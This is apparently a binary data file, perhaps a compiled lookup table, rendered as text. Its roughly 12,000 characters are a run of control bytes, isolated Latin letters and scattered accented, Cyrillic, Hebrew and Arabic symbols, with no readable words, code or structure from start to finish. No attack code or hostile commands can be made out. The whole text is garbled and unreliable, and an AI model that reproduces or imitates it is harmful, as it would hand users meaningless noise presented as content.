n!n"%#n$nȬnn&'nȬn)*NȬ+5Ȭ,-n.n/nn01nn2n34nnȬNȬ7:89Nɩ7X;<ɩ>P?D@BA-l0FC-l0FEFGHIJKLMNOQTRS7]:UWV7]XY:Z[x\n]j^d_`bacefhgiklmotpqrsuvwyz{|}~7]DN7|N757Ɋ5658Ⱥ>-';O89lOɚ779O"]шcO1DN7|N757Ɋ5658Ⱥ>-';O89lOɚ779vǞ . # rMBar:Or !"r$(%&O@6D:o'MBa)+r*r,-:OO@6D/Y012345I6A78<9:;=>@?BCDEFGHJKLUMSNQOPRTVWXZ][\Ȑ^aN_`ǞNblcdefghijkǞmnopqrstuǞwǬxǬyǬz~{|Ǭ}ǬǬǬǬ->\ǬǬǬ`ǬǬ`ǬǬǬǬ```ǬǬ`ǬǬ`ǬǬ`ǬǬ`Ǭ`ǬǬǬ`Ǭ`ǬǬ`ǬǬ```````Ǭ@ȞȞ`ȞȞȞ``ȞȞȞȞ``Ȟ```````ȞȞȞȞȞȞȞȞ`Ȟ7`ɸȬN7XXT-l0F:     :!:o r"#$%&'()*+,r.x/:0123]45]6O7G8@9>:<;7|7|=7|D?DADBC7|7|E7|F7|HK7|IJ7|7|7|L7|MN7|PZQDRWSUTDDDVDXDDYD[\D^f_`ab7|cd7|7|e7|gyhqinjlk7|7|7|m7|o7|p7|7|rus7|t7|7|7|vwx7|7|z{|~}7|7|7|7|7|7|7|7|7|ɊDɊDɊDɊɊɊɊɊɊɊɊɊɊɊɊDɊDDDDDDDDDшO"O"O"O"O"';O"O"O"O"O"O"O"O"';O"O"';';O"O"';O"O"O"O"7O"O"7799O"O"7O"779O"O"O"9999O"cO1DN7|N7(!    DNDN>-DDNNDNN>->->->->- "#$%&'D)*2+,-0./13465789;a<H=>7Ɋ?55@5A5BC55DE55F5G5I`5J65K65LMZN65OVPS65Q65R65T65U65W65XY656565[\65]65^6565_5658becdȺ>-';Ofw8g9lh9lij9lk9llsmp9ln9loc9lqc9lr9lct9lcuv9lc9lOɚyHz/{~|}779O"ɊccɊcɊccccccccccccccccccccccccɊɊcɊcccccccccccccccccccccc cc c  cccccc*" c!c#'$&%ccc()c+,-.cc0312]шcO14E5D65758>95:5;5<5=555?5@A55B5C5N7|FGDN7IWJPKNLM7Ɋ55O658QTRSȺ>-';UVO89lOX^Y\Z[ɚ77]9O"_b`a]шcO1cdD5ef}grhmiNjNkNlNNn>-o>-Npq>-N>-sxt';>-uv';w';>-';yO';z';{|O';O~OOOOOOOOOшшшшшшшNNDDDDDNNDNDNNNɚɚɚɚ777ɚ77779999999DDȐȐ`ȐrɩȬ`Ǟɚ5ǞȬ-ç59lɚȬȬȬȬȬȬȬȬȬȬȬȬȬȬɚɚɚɚ ɚ ɚ ɚ ɚɚɚɚɚɚɚɚ5Ⱥ5l !`"2#'$&%r(,ɩ)*+Ȭ`Ǟ-/.ɚ501ǞȬ-345J6@7N8N9:NN;<N=NN>?NNABC99D9E9F9G9HI99KfL]MUNɊɊOɊPɊQRɊSɊTɊɊV>-W>->-X>-Y>-Z[>->-\>-';^_`abcdegwhipjklmnoqrstuvxcyzcc{c|}cc~cclȐ````````````````````````````ȬǞǞǞǞǞǞǞǞǞǞǞǞȐçȐȬǬȬ`çȬ`Ǟllllllll5-ç````````````````Ȑ-çrȬȬrR; Ǟ Ǭ5D+"ǞȺ`Ǭ- !Ǟ#$%&'*{({){ç,-.8/4021Ǟ3Ⱥ56`7Ǭ-9:Ǟ<=H>ȺȺ?Ⱥ@AȺBȺȺCDȺȺEFGOPȺO_ȺȺIȺJȺKȺLMȺȺNOȺȺPȺQOoȺSTUoV`W[XYZȺ\5]^çç_aiȐbcgde-`fǞh-`jklnmȺȺ{pzqurstȺv5wxȐçy{Ȑ|}~-`Ǟ-ȺȺ{Ǭ5Ǟ5D557TL7    8ȐT*# ǬȬ-!"ǞD$'%&c5r()ǞȂȐç+1,/-.ȬȺȐ0`253467Ȟ9:;<=>I?F@EABCD55GHç5ȺJKȬMNxOcPQRSTUVWXYZ[\]^_`abde5fgȺhǞiǞjǞkǞlmǞnǞoǞǞpǞqrǞsǞtǞuǞǞvwǞOǞyz|ç{}~``llȐ`````````````ȞȬȬȬȬȬȬȬȬȬȬȬȬȬȬççççççççççççççTlȐlȐdȐlllllllllllllllɚlç`Ȭr55``````````````r ȐǞȬǞççç  ɩ -ll55ǞA8)lllll ll!"l#l$l%ll&l'(lll*+ll,-ll./ll0l1l23ll4l5l67ll59<:Ȑ;`Ȭ=>ç-?@rBKCGDEȂFȐɩHǬIJȺLMbNOaPWQRTSç-5U`VɩX_YZ][\rȬǞ^Ȑ`ȐlcȐefghyɩijklmnopqrstuvwxz{|}ç~Ȑlllllllllllllll5=ç-`ǞȬr5çl```````````````lç-5`ɩrȬǞȐȐl5ççççççççççççççTȐȐ  ǞȬ  -+5ççç ç!ç"çç#$ç%çç&ç'ç()ç*çTç,`-.r/r0r1rr23r4rr5r67rr8r9r:r<=i>?@[ABCDKEFGHIJBLWMRNPOQSUTVXYZ\w]^_`ahb<cdefg,i//jk//lm/n/o/p/q/r/s//tu/v//xyz{|}~,Ȭzo;7Ld*" !ʠd#/$%&'()*+,-.R1s2d3P4Kd5d67AR8(/9:R;R<RR=>RR?R@RBdCdDddEFdGdHdIdJddRLddMdNOddQVRS<TU<W\XYZ#[<]^a_`477bc"e<f<<g<h<i<jk<<lm<<no<p<q<<r<R2t<<u<vw<x<<y<z<{<|}<<~<<<<<cQQJ+d<1)RAM$ʯ7,S؉7؉d9;7dROROROROROROROROddddddddR]RkՒdddd4 " <   77777777B77777777z3 !"#$,%&'()*+R{]1{-./012(N56<8J9=:;<JJԦ>@?3ABCzzDEzRFGHzEALWIzEKL<MWNQOzP,RUST؉VBX]Y\Z[(ششش5^a_`BETbB,deqfghmQijlk7n;op"rs|Ւtuzvy1wx7z7F{7}~е<1111111111111͹3gg<ZJBՒ<<$77.G',dе<R&JRկR*17J79g999999RR9RRRSR999S9<<<<<<<<<<<<<<FB<.G.G.G.G.G.G.G.G.G.G.G.G.G .G .G.G .G.GS͹Q-$$ʠdJ%H $ʠ!"#S-XȐ&)'(S=7;*,J+#g./J08152473z7679<:;<ʠ<=?>@GADBCd<DEFDHdIddKSLMNdO<9PQR%8dT;UYV7dWRXdʠ;[\;]^_{ʠ`anbdcddddefddghdiddjdkdlmd'ddodpqdrdsddtduvdwdxddyzd'd|}~77g SL 4n4n4n4nQ;d*7JS[@Ml1"NS[] {N    ӊ1 !Y"E#0$+%&'()*],-./11823456719?:;<=>N@ABCDӨFQGNHIJKLMNOP1RSTUVWXӊZr[c\]^_`ab1defmghijklSjnopq"sytuvwx1z{|}~NNlӨN1NN1(111N1111@1N1  N   N1'1 !"#$%&@(.)*+,-1/012a3A4<568719:;(=>?@1BTCHDEFGNIJPKLMNONNQRSUVW\XYZ[N]^_`{blcgdef1hijk1mwno1pqrstu]v]xyz{|}~11((7/gdՒ<*,,,70/:s/1A<J-;<;d7I;ԙ7ONqRd*bSyJ-**\S(dе1еgdd7Q ʯ SNSNdNʯ<*$! еʠ"#׆d%&7'()ç-+ʠ,7.`/O01;g23dg45678J9<:*k<I=>D?J@AS7B7C7]EGFS<HʯJQKLMNBQPQR^STUV\WX9(KYzZz[zLW]7C_?@,TBaCRDEFGHIJKLMNOPQSVTJU<W[XZYH<\`]7^ç_ç-ç7Mbcfde9ghiklmJnopv-qrstuwxyz|{;;T}~T;TT++++++++++++F1TdT#TbQHT#0LLTDT#0LLTD>-gʠRm-S>ԙdN;dNEJdk?kd;ʠ<7;TU {ddJddd7߮7F5     d77*< 7<79<--d 1!*"'#$%ǞJ&UU)()B+,.-00/0U7?UF2B3d4UU6789:;<=>?@ABCDEGHIiJXKRLMNOPQUU)ST9UWVF#ґYbZ[a\^7]_` dd7<cdef<ʯghʯUdʯj{knlmotpqrs<7uvw<xyʠzʠ|}~//Us//UsUsUsUs/Us//dddg77/Nʠ7<{(UJ+Q1P1P3ʠ7d7eL͹   d9],76 !+"&#$%')(U*. ,0-/-.1423J1?5?7>8Ԧ;9:=;7<Uzd7?@JACBLWzDdEHFG!)!>IK9MNOPbQ_R^STʠUʠVʠʠWʠXYʠʠZʠ[ʠ\]ʠUʠԦ`a 7cdʯgfg$h+ixj+kolmnԦUpuq7rJsJtJEvwdyz}{|9<~7˭QJ<+&dddR<7d7VV7ddʠU0U*ʠʠ4U;4U7ʠ<]Q ;J<Vz  VVVVVVVVVVVVVVVVVVVVVVVVVV   V4.G777<dJA+&# d!"VCd$%7'*()d,2-.Rk/01LHRd3:4756RR89HVQPV_;><=VnR?@H6HBLCGDEFHJIRkRkKRkMVNSOQPdRdTUWX[YZV|\d^V_`abеcdefghijklvmrnqUUopVVV(sutL(VVw{xyVVVzLV|}~VVVWJ1dWWW.<7W=MNMNMNMNMNMNMNMNWLWaU7WpWdʠʠʠʠʠʠʠʠʠʠʠW׆Wd7,Q7----------55------5-5-ȬȂȂWd(    0 ,! #"#$%&'+-)*<+(Z-I.?/0123456789:;<=>ɚ@dABDCdEGFdHdJKL`M\N7OXPTQSR7FQUVBFQWYZ77[7ش]^_<dae9bcd-5dfxgp7hijkWlomnӷӨ{ӊqtrsWVuvw<Fyz{~|}WhW4U7WU7SWWX XX&X5XD-XSWpXbW.1–)Xp9ççççççMMrrrrǬr]:orMrǞrM:or-ȐȐȐȐȐ7 M :oM: :  X6%6%6D::o6%r(N"! 6%rr#&$X%X'r*w+H,-F.B/306%12Ȭrç4<59687r6%Ǟr6D:;:o=Ǟ>@6%?rAr:OCXDrEcrGǬ:oIsJ`KLǞMVNPO9]QURST:o6%r7W\X[rYrZ:O6DǞ]M^_Manbjcdge6%6%f6%hȺ7irNkl6%mo=pq:o6Dr6%tuvx}yz|{~NȐ ȐȐȐ  Ǟ < )#"! $%'&(*7+,2-./103645:89:;=?>@ABCDEFGHIJKLMO^PRQ6D:oSYTWUVXȐZ[\]9_w`iabcdefghXcjrklmnopqstuv:oxy”z{…|}~€‚ƒ„†‡ˆ‰Š‹Œ’Ž‘“•ç—˜™šð›àœ)žŸ ¡µ¢­£¨¤¥¦§©ª«¬®¯°±³²´¶·¸¹¼º»½¾¿      !"#$%&'(ç*F+<,-./051234678:9;=>?@ABCDEçGqHIRJLKMNOPQSjTUV`W]X[YZ\^_agbecdfhiklmnop8rÍstxuvwyz{|}~ÀÁÇÂÃÄÅÆÈÉÊËÌÎÏÐØÑÒÓÔÕÖ×ÙÚÛÜÝÞßáâãȐäåêæèçXéëîìírcïȐȐñòõóôö÷øüùúûȐýþÿȐ`5Ⱥ: :oȺ:or]Ǟ ] @ r rǞ6%:o:_rɚ8(XrMM "!r#%$r6Dr&'rr),*+rr6D-./06%16%26%6%346%6%566%76%46%9:o6D;q<V=N>F?6%@AB/C:DE6%MGHYb6%I6%JMK6%L:OOPQURS6DT:OM6%WcX[YZ:o6%\]a^_`çbȬ:djefghikplmnoçrğsĆtzuvwxy7{|}~ĀāĂ㥹ȐȬ`ćĖĈĉĊĒċČčĎďĐđēĔĕėĜĘę:oĚěĝĞǬǞĠĵġĩĢģĤ>\ĥĦȐħĨǬĪīıĬĭȐĮįȐİȐȐIJijȐĴȐĶĽķ7ĸĹĻĺǬ`ǬǬļȞǬľĿ`:)ȬX6%6%Ⱥ6%rrM9Mr6%:o6%=6%r6%6%MMMM:O6%X6%:O:o6%6%M:or  ` 6D]Yr 9:o:or=:o:o:o:o6%r:o"!:r O@:o#($&Y%'6D:*O+,5-M./02r16%3@4@@6C7:89:oO@;?<=6%>:o:O@ABr6%6DDEKFGIHNXJr6%:_LM6%N:O6%MPQRŎSqThU\VXW-Ȟ`Y>\Z[>\]gc^_`abcdef:5ɸinjk`lmNop765ɸrłsvtu7wŁxyz{|}~ŀ/MŃŇńņŅȐr]ňŋʼnŊȐrrɊŌōɊDŏŸŐŮőŕŒŔœǬçYŖŬŗŘřŚťśŜŝšŞşŠcŢţŤcŦŧŨũŪūcŭNcůŴŰŲ7űų75ŵŶȐŷ>\ŹźŽȞŻż`žſ]Ȟɸ=`';ȞçcȬƜKȺrYr6%r6%r6%ȞǬrMM6%X6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D`  r 6% 6D:6Dr1., Ȭ!&"#$%`Ȑ'(*)5-+ç-9/092?3645789:;<=>5@EABCD6%FGHI6%J5LƇMWNOPQRSUTVȐXyYbZ^[\]_a`cjdefghikvlmnopqrstu7wx:oz{|}ƀ~:o:O6%ƁƂƃƄƅƆƈƉƋƊƌƍƐƎƏ5ƑƒƓƔƕƖƗƘƙƚƛƝƞƟƫƠơƢƣƦƤƥ6DƧƩƨ]ƪƬƭƾƮƷƯƱưƲƵƳƴɸƶ:Ƹƻƹƺ:``7Ƽƽ7çƿç]Ǭ7DDȂȂǬ]rǬȞç`c]r5Ȑ:';';';';';';';65';NXȂXX  Ɋ]777ç55ɸ]:o .!%"#$&'()*,+-/023ȸ45Ǥ6ǘ7v8U9J:;B<=>A?@CGDEFHIKLMRNOPQçSTVWmXgYdZb[\]^a_`cefhjiklnuorpqstçwǁxyz{|}~ǀçǂǃLjDŽDždžLJljǏNJNjǍnjǎǐǕǑǓǒǔǖǗǙǚǞǛǜǝ9ǟǠǡǢǣ:oǥǦǴǧǨǩdzǪǫǬǭǮǯǰDZDzȺ:oǵǶǷǸǼǹǺǻǽǾǿȬ:oççG !   77 "7#.$%&'()*+,-/051234-6:o89:;<=>?5@ABCDEFçHȓIvJlKfLXMUNPOçQRSTçVWçY]Z[\^_`abcdeghijkmtn:oosp:oqr:ONǞurwȆxyz{|}~ȄȀȂȁȃȅȇȍȈȉȊȋȌ7ȎȏȐȑȒTȔȫȕȖȗȘșȡȚçțȜȝçȞçȟȠ-5ȢȣȤȥȦȧȨȩȪ5ȬȭȮȯȰçȱȲȳȴȵȶȷȹdȺȻȼȽȾȿ8çȐȐ:o57] @@  - :o(%Ȭ !"#$&')5*+1,-./0A234:o:o6N7=89:;<ç>?K@ACB/DEFGHIJȬLMȐȬOPZQRSTUVWXY:[_\9]^Y`cab:oe@fg4hɸiɝjklmnotpqrsu{vwxyz|}~ɀɁɐɂɃɄɋɅɆɇɉɈɊɌɍɎɏɑɒɓɘɔɕɖɗ7]əɚɛɜɞɳɟɩɠɡɨɢɣɤɥɦɧɪɫɬɭɮɱɯɰɲɴɵɶɷɹɺɻɼɽɾɿ9r::_lç"     !#$%*&'()+,1-/.0ç235;6789:ç6%<=>?7AʘBmCWDMEFGJ:oHI:oKL:ONPO-QURSTV:oX^YZ[\]_`abcdefighjkl-nzopq:orstuvwxyr{ʎ|}~ʆʀʁʂʃʄʅT5ʇʈʉʊʋʌʍ8ʏʐʑʕʒʓʔʖʗ:oʙʚʳʛʜʢʝʞʡʟʠʣʤʨʥʦʧ-ʩʪʫʬʭʮʯʰʱʲ:ʴʿʵʶʷʸʹʺʻʼʽʾ:o6%6%6%:o-7:od/r    5! ç"#$%&'()*+,-.70;123645:o789:<I=>D?@ABCEFGHJˁKfLUMNOPQRSTV`WYXZ[\]^_abcdegvhtiojklmnpqrsuwxyz{}|~ˀ˂˾˃˞˄ˍ˅ˆˇˈˉˊˋˌˎ˖ˏːˑ˒˓˔˕˗˘˙˚˛˜˝˟ˮˠˡˢ˨ˣˤ˥˦˧˩˪˫ˬ˭˯˰˷˱˲˳˴˵˶˸˹˺˻˼˽˿`>:O2ç5:    5* !%"#$&'():+,-./01345;6789:-<=?y@eAB_CMDELFHGIJKN[OQPRSTUVWXYZY\^]`abcdOPfghijkrlmnopqstuvwxz{|}~̻̝̀̏́̂̉̃̄̅̆̇̈:̵̴̶̷̸̡̢̧̨̛̘̖̗̙̜̞̭̟̦̠̣̤̥̩̪̫̬̮̯̰̱̲̳̹̺̼̊̋̌̍̎̐̑̒̓̔̽̾̿̕̚ΐhK    M-͎v<' !"#$%&ç(/)*+,-.`0612345789:;=>R?E@ABCDFMGHIJKLNOPQS_TUZVWXY[\]^`mabecdfgjhiklnropqstuwẍ́yz{|}~́̀81͂̓81͇͈͉͍͆͊͋͌ͅ͏͓͔͕͖͙͚ͫ͐͑͒͗͛ͥͣͤͦͧͨͩͪͬͭͮͯ͘͜͟͢͝͞͠͡ͰͱͲͻͳͷʹ͵Ͷ͸͹ͺͼͿͽ;D     "! #/$'%&(,)*+-.0815234679>:<;=?B@ACEFGHIJLaMNOUPQRSTVWXYZ[\]^_`7bcdefg5ijnklm9oprqstuvwxyz{|}~7΀Ί΁΂΃΄΅Ά·ΈΉ΋Ό΍ΎAMΏAMΑΒΓΔΘΕΖΗ:ΙΚΛνΜάΝΧΞΟΦΠΣΡ΢ΤΥΨΩΪΫέδήίαΰβγεζκηθιλμξοOPçKA0   " !#$/%+&(')*,-.125346789:;=<>?@BCHDEFGYIJnLTMSNOPQRUVWXYZ[\X]X^c_`XaXbXXXefСgДhЄijkylOmnϹoϐpρqzrsvtuwxy{|}~πςϋσχτυφψωϊόύώϏϑϤϒϟϓϗϔϕϖϘϜϙϚϛϝϞϠϡϢϣϥϭϦϧϪϨϩϫϬϮϲϯϰϱϳ϶ϴϵϷϸϺϻϼϽϾϿ     !;"/#($%&')*+-,.0172534689:<B=>?@ACJDEFHGIKLMNPiQ]RSTUYVWXZ[\^_`aebcdfghjkrlmnopqstuvwxz{|}Ѐ~ЁЂЃЅІЇЈАЉЊЌЋЍЎЏБВГЕЖЗИЙНКЛМ5ОПРçТУиФХЦЧЯШЩЪЫЬЭЮабвгдежзйклмонпȂgV:,     ! "#$%&'()*+-./0123456789;R<B=>?6@ACODNEFGKHIJLMPQ7STU:oWMX YѥZr[\]^_d`abcefogjhiknlmpqsќtuvёwчx|yz{}т~рсухфцшщюъыьэяѐђїѓєѕіјљњћѝўџѠѡѢѣѤ7ѦѿѧѨѩѪѰѫѬѭѮѯѱѺѲѳѴѸѵѶѷѹѻѼѽѾ  D <!"(#$%&')1*+.,-/023846579:;=>?@ABCȐEFGHIJKLNWOUPQRST6%VX\YZ[=]^c_`abdefhҒi҄jkwlmnopqrstvuxyz{|}~Ҁҁ҂҃҅҆Ҍ҇҈҉Ҋҋ5ҍҎҏҐґçғқҔҕҖҗҘҙҚ`ҜҝҞҟҠҸҡұҢҨңҤҥҦҧҩҪҫүҬҮҭҰҲҳҴҵҶҷҹҺһҾҼҽҿ7rwּՒl   9::- !"#,$%&'()*+.1/02345867ɚ9;N<C=>?@ABDEFGHIMJKYLYYYO`PWQRSTUVɩ5XYZ[\]^_7abcdefghijkmӥnopqǞrvstur:orwӡxӂy|z6D6D{6D}6D~6DӀӁ6D6DӃ6DӄӗӅӎӆӇӈӉӊӋӌӍ6Dӏ6DӐӑӒӓӔӕӖ6DӘ6Dә6DӚӛӜӝӞӟӠ6DӢӣ:o:oӤшӦԃӧyӨ*өӪӫӬӭӮӯӰӼӱӹӲӷӳӵӴӶӸӺӻӽӾӿ    "!#$%&'()+F,<-./0612345Ȑ789:;=>?@ABCDEGoHIJ\KLMWNQOPRTSUVXYZ[]^g_c`abdefhijklmnpqrstuvwxz{Ԃ|}~ԀԁԄՃԅԆԇԈԉԧԊԠԋԌԕԍԑԎԏԐԒԓԔԖԚԗԘԙԛԜԞԝԟ`ԡԢԣԤԥԦԨԩԷԪԲԫԬԭԯԮ԰ԱԳԴԵԶԸԹԺԽԻԼԾԿ    aL' !"#$%&ç(0)*+,-./1C2=3845676D9:;<:>?@ABrDEFGHJIKMNVOPQRSTUDWXYZ[^\]_`bcrdeflghijkçmnopqBas{tuvwxyz|}~ՀՁՂ7ՄՈՅՆՇՉՊՋՌՏՍՎՐՑçՓՔՕէՖ՗գ՘ՙՠ՚՛՞՜՝՟աբդեզ:ըմթկժիլխծհձղճȐյոնշչպտջռսվ6%`ȐǬ``>\Ȟ^<ççç  ç ç çç1$ ççç!"#%&+'()*,.-/0-23485679:;ç=>Q?K@EABCDçFGHIJççLMNOPRXSTUVWçYZ[ç\]çç_֐`a|bocǞdjefrghi6%krl6%mnrr:opMqurtrsr]:Mvwzxy6%r6%{Ǭ}ց~րւփևք6%օֆrֈ֌։֊r֋6%r:֍֎֏:o6%:O֑֧֚֒֓֔֕M֖֗֙֘:O6%6DM6%֛֜֠֝9֞֟@6%֣֢֡6D9֤֥֦/ֱ֪֨֩֯֫:o֬Mr֭6%֮6%Mְ6%ֲֳִֵr6%ֶַָֹֺM6%ֻ6%r:Oֽؓ־ֿ:_:OMO@:o:oç) 7]Ȟ]:o6%:o  6D9  :o:O Ǭ6%6%Xr6Drr:Or77]6%r!$"#Ȑ%'&Ȃ(*1+-,.0/ȂȐ2ؑ3؃4؂5m67J8A9ç:ç;ç<ç=ç>ç?ç@çBçCçDçEçFçGçHçIçKLTçMçNçOçPçQçRçSçU]VWXY\Z[çç^c_`abçdeifgçhççjkçlçnoדpׂqyçrçstçuvçwçxçz{|çç}ç~çç׀çׁç׃׋çׄçׅç׆çׇç׈ç׉ç׊çç׌ç׍ç׎ç׏çאçבçגçהו׬זלחçטיçךçכçççםמףןנסçעçפרץצçקçççשçתç׫ç׭״ç׮çׯçװױײç׳ç׵׺׶ç׷׸׹ççç׻ç׼ç׽ç׾ç׿ççççççççççççRȺȺȺȺȺȺ555555555ȺȺȺ  TTT TTT-YTYTYYY! TT"%T#T$T&)'T(TT*T+T,T.D/90T15T2T3T4T67T8TT:?;<=>T@ABCTTEKTFGHTIJTLQMNOPSkTUYVWXȺZe[_\]^Ⱥ`cabȺȺdȺfghiȺjȺlmnozpsqrȺtwuvȺxyȺ{|}~Ⱥ؀؁Ⱥ؄؅؆؍؇؊؈؉7]657؋،l0FȺ؎؏ؐ7ɚؒؔؕطؖ؞ؘؗ؛Ȑؙؚ`؜؝Ȃ`؟ؠةءإآأؤئابȐɸتثجحزخذدرسصشضظِعnغػؼؽؾؿ7Ȑç`7mc7r8"l80FTȺcɚȐçAM7ɚ77m7ɚȺ--çX0F`rl-8"7]`8ɚ]--T--?% Ȭ-- -   7çç!Ȑ ȐT"-#$T-&4'.(+)*-7m,-7m55-/1-0-]23]6D6D55:687595;><=5MM-`@VALBFCDȺ-E-çGJHIçȐȐKAM7MRNO]PQɚ-0FSUT57mɚr-WdX^Y\Z[Ⱥ8ɚ5]7m-_a-`-7bc7558"ekfhgij55l-m-7m-oىpzqvrstu`wx`y{م|ف}ـ~Ȑ``قكل`Ȃن`هو`Ȑ`يًٌٍَُّ٧ْٜٓٔǬٕٖٙٗ٘ٚٛٝٞ٣ٟ١٠7٢Ȑɸ٤٥c]٦٨ٳǞ٩٪ٱǞ٫M٬٭ٮMrٯٰǞȬrTǞٲ:orٴٵٶٺٷ6%ٸrٹ6DٻٽǬټ:orپɚٿɩ6%O@6%6D:O6D:o6D:o:or6%Ǭ:o6D6%Ǟr:o:o:OrǬǬ6DrǞ6%:Ǟrr7]:oǞ7]7]Ǭ`:oMr6%:o6%Ǭ6%)     :_rrr:oXrrr&" 6Dr!#$X6%>%Ǟ'r(:o6D*N+:,0-./1r253r4O@M687M6%9:oM;I<@=?>:or:O@AEB6DCDrFH6%G6%6%rNJKL>kMrOaPXQRVSU:oTrrWrY]Z[\6%Ǭ6%^r_r`:Obncdkefghij:olmospq6%rrr`tYu:Ov6Dxlyz{ڍ|ڃ}~ڀځڂrڄڅچڇڈډڊڋڌڎڴڏڐڒ6%ڑ:o6%ړڢڔڛrڕږژڗr7]ڙǬښ:Oڜڝڞڠڟ:9lڡǬǞڣڨڤ:oڥڦڧ6%6%:oکگڪڭګڬ6%rڮ6%r:oڰڱڳڲr6%ڵڶZ ڷڿڸ=ڹڻںr6Dڼڽھr6%6%7ȐȐȐ`Ȑi  7  E 6DrAM:MrrMM6Dr!0"*#&$%rrM'()]ç]Ǭ+,/-.T6D6%rrȺ1;28354rr67Mr6D9:r<?r=r>7m@BrA6DrCDrrMFOrGHJ7]Ir6DKLrMNPZQV]RSTUDMWMrXrYM[c\`]r^_rarbȺr6DdegrfrhMrjk:omnopqrېsۆt|uv:Owyxz{7]}:o~ۀۂہ6DۃۄrۅȬۇۈ6DrۉǞۊۍۋrیrێrۏr:ۑ۱ےۢۓۘ۔ەr::ۖۗ6DǞۙ۝rۚۛۜ6D6D۞۠۟rr:oۡ:oۣ۫ۤۨۥۦۧ]65۩۪6D6D۬ۮۭrDۯ۰6Dr۲۹r۳۴۸۵۶۷rr9ۺۻ۾ۼ6D6D۽ǞۿǞrM6%6Dr6DMrZ -çȬȐȬç5Ȑ5ç5555555555555"57     rr:Orr6D6D%6D !"#$6D&2'r(rr)*+r,-./r01r34r5rr6r8܌9q:L;A<X=6%>@:?r7BHCDr9EFrGrr7]I/JKr:oMXNS6%OPRrQr>\6DTU:oVWYhZ_[\^]6%Xr`eacb6Dd6Df6Dg6D6Dijnkmrl:o6%rop6%Ǟr܅st܁u}vzwyMxMYǞ{|]~܀:o6Dr܂܃r܄Nr6D܆=܇܈Ǭ܉܊܋Ǭ܍ܦ܎ܟ܏ܖܐܑܓܒrܔܕ6%Mܗܘܚܙ:o6%Xܛܜ:orܝrܞ:OܠǬܡǞܢǞܣǞܤǞܥǞܧܨܽܩܯ6Dܪܫܬ>:O:oܭܮrǞܱܰܳܲçܴܸܷܵܶç--ܹܺçܻܼç-çܾܿ`:o:or6%r]:O6%656%6D6D:r965Y:o7@A7CDEFG77IJKALMNOPǞQRݏSTUVvWhX[YZ-T\a]_^n`becdçǞ`fgrǞçipjmklçǞnorǞçcqsr`tu5w݄x~y{zȐǞȬ|}ȬD݁݀Dc݂݃Ȭ݈݆݅Ȃ݇Ǟ݉݊ݍ݋݌5ݎɚȺݐݬݑݟݒݘݓݕȬݔrݖݗǞݙݜݚݛݝݞȐȐȂݠݦݡݤݢݣȂTݥç`Ǟݧݪݨݩ-ǞݫDݭݻݮݵݯݲݰݱDȬcȬݳݴcݶݸݷ5ݹݺ5rݼݽݾݿǞǞ{ɚnȞȺlȞǞǬ`ȬȬ- -rTȐȐȂ`ǞȬȬççcȬȬcȐD`rç   Ȃ DȐȬDçȬç-`-T.- --!"--#$-%-&-'-(--)-*+--,---ç/?0>T12TT34T5TT67T8T9TT:T;T<T=lTT@TBWCDETFȐ-G-HI-J-K-L--MN-O--PQ--R-S-UVȐXޮYZ[ކ\m]^b_`aTcdefgjhiTklT:noypwqrustvxTz{T|}~TހށނރބޅTއލވމފދތގަޏޕސޓޑޒTޔTޖޛޗޘޙޚTޜޝޥޞޠޟTޡޣޢTޤ:ާިީުޭޫެ:Tޯްޱ޲޾޳޴Ǟ޵޻޶޹޷޸D-T޺ɩ޼޽`޿`ȬȐȐççDTTTrǞǞ---`ȐǞǞǞȐȬȬǞǞççǞȂE. çɩççȂǞȐǞ  ȂȐ Ȃ ȬǞçççȐȐǞ,'#D`! Ȭ"Ȑ$%&-()ȂȬ*+Ȭ-/40T123T57689=T:;<-T>B?A@Ȑ`ȬǞCDǞçFYGMHIKJLȂNNOߐPQRXSTVUW5YtZp[g\`]^c_ȐadbcDç-efçTȂhmiljkȐȬ-noDqrs--u߀v{wxȬyzTT|}Ǟ~ȬȐ߁߈߂߅߃߄Ȑç߆߇çrrç߉ߌȬߊߋߍTߎߏ5Ȭߑߒ`ߓߔߕ߻ߖ߫ߗߥߘߟߙߜߚߛTcߝߞcȐDçߠߣߡߢDçȂߤ5ߦߩߧߨ5ߪT߬߸߲߭߮߯-Ȭ߰߱Ȭç߳ߵߴçD߶߷ȬT߹ߺçȂ߼߽߾߿Ȑ-rT`Dr`--TȐ`ǞT-`ȬǞçȂ5ȬT-rTçT-ȬȐȬȐ-ççD1 -r Trr-T--``5ȬT'# "!TȐ$T%&ȬȬ(+)-*çȬ,.-D/05c2A3;48567cȐD9T:ç<?=>ç`@ȬBKCFDȐEȂGIH-rȂJçDL-MȐOXPQURSTT-VWT-Z[\]}^l_e`acbɚdɚfigh-jk5mpnoqwrtsT-uvȂ`x{yzT-|Ȭ`~Tɩ-ɩ-TɩTç-5`ȂȐDDT-rȐǞȞȐ`Ȑçç{ȂȺc`ȂȐǞȬ5``ȂrrT-ççDȐ55ɚ{ȺȺ`ȐǞǞcȬȂnȞzMȐ     ȂȂ7"ɩTɩ-ɩ---ɩ !--#*$&%ç'(çDD)-+1,/-.--0Ǟ-243ç-56ɩɩ89H:A;><=ɩɩ?@TɩBECDçFGIJKLNOPkQdR`SVTUȐȬWX`YZȂȂ[\ȂȂ]Ȃ^Ȃ_ȂacbcǞc`ehfg`ȂȂȐijȐǞǞlsmpnoȬȂȂȐqrȂȂȐtxuv`w`yȂ{|}~ɚɚȂȂ-TȂ`T-`ȬTɩ-ɩ-TɩTç5ç`ȂDȐT-5-TȬrrȐȐȞȐǞǞ`Ȑç{Ⱥc`ȂȐǞȬȞ``Ȃu\# ````ȂȂȂ    Ȭr !"``$B%4&,'()Ȃ*Ȃ+Ȃ-./10235=67:89;<->?@ACQDNEIFGrHrJKLMȞOPTRYSVTUɩWXZ[]^x_m`cabɩdgefɩhkijlnsopqrTTtuvwyz{}|ç~ççççççççȂȂȂȞ```ȐȐȐȐȐȬȐȐTȐTɩN|: ȐǞǞǞȂǞȐǞǞǞcǞcǞcȐ``ǞȐȐcȐȐȂȐ Ȑ c `Ǟ &cǞȂȐǞǞ`ȞȐǞ`Ǟ`ȂcǞ!`` 